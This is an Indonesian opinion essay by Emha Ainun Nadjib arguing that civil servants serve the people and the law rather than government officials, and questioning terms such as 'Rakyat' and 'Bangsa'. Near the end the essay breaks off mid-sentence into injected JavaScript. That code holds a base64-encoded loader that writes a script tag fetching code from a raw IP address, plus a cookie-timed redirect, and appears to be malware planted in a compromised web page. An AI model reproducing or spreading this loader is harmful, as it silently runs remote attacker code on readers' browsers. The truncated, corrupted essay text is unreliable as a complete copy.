Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?

Oleh: Emha Ainun Nadjib

Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara.

Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR).

Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi.

Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan.

Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika.

Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu perwujudan pengabdian mereka kepada Rakyat.

Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”.

Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.*

Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat.

Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat.

Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah.

Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir.

Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka.

Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji.

Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1.

Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan.

Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’.

Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan.

Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka.

Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka?

Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu.

Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

475

Related Post